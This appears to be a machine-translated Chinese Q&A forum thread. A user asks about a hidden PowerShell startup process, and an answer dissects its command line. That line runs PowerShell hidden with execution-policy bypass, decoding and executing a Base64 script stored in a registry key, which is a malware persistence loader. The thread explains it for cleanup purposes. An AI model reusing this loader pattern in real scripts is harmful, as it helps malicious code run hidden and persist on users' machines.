隨機 powershell.exe 進程?

隨機 powershell.exe 進程?

幾天前,我注意到任務管理器中正在執行一個 powershell.exe 進程。當我進入 msconfig 時,它有一個非常長的命令。這裡是:

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));

這真的很奇怪,因為就在今天,我之前遇到的一個隨機進程出現了(也許它與此無關,只是說),它是一個病毒,並試圖在我的電腦上下載不安全的驅動程式,正如Windows 所說。誰能告訴我有關此 PowerShell 流程的一些資訊嗎?它在啟動時啟動並且始終運行。再次,我希望我聽起來沒有無知,也許這只是一個正常的啟動過程。

答案1

這幾乎肯定是惡意的。

讓我們把它拆開。它-noprofile在隱藏視窗 ( ) 中呼叫 Windows PowerShell(一種合法且非常有用的命令解釋器),無需使用者自訂 ( ) -windowstyle hidden,從而允許 PowerShell 會話運行腳本而不管系統策略 ( -executionpolicy bypass)。然後它運行此命令:

iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))

gp意味著Get-ItemProperty,它可用於檢索註冊表項的值,這就是它在這裡所做的。顯然,SAJELFZIXHQTV您當前的用戶密鑰中有一個密鑰Software\Classes。這個鍵有一個名為 的值ADUXJH,其中的資料就是gp檢索的資料。該資料(顯然是一個字串)就是Base64- 解碼為位元組數組 ( FromBase64String)。然後這些位元組被解釋為 ASCII 文本 ( ASCII.GetString)。奇怪的是,原始文件中有一個額外的點,這應該會導致錯誤,因為該ASCII物件沒有名為 的成員Get。不過,考慮到這個過程仍然存在,我懷疑額外的點只是一個轉錄錯誤。

如果不存在該錯誤,則產生的文字將作為 PowerShell 命令 ( iex) 呼叫。簡而言之,該命令旨在從註冊表加載編碼腳本並執行它。要準確查看它正在運行的內容,請將上面的 PowerShell 命令(去掉iex和 並刪除多餘的點)複製到 PowerShell 提示符中並運行它。它將列印將被呼叫的命令。這幾乎肯定不會是良性的。

您可以使用以下命令阻止該條目自動啟動自動運行工具。但是,對電腦進行更深入的清潔可能是個好主意,因為它可能已被感染。請參見如何從我的電腦中移除惡意間諜軟體、惡意軟體、廣告軟體、病毒、木馬或 Rootkit?

相關內容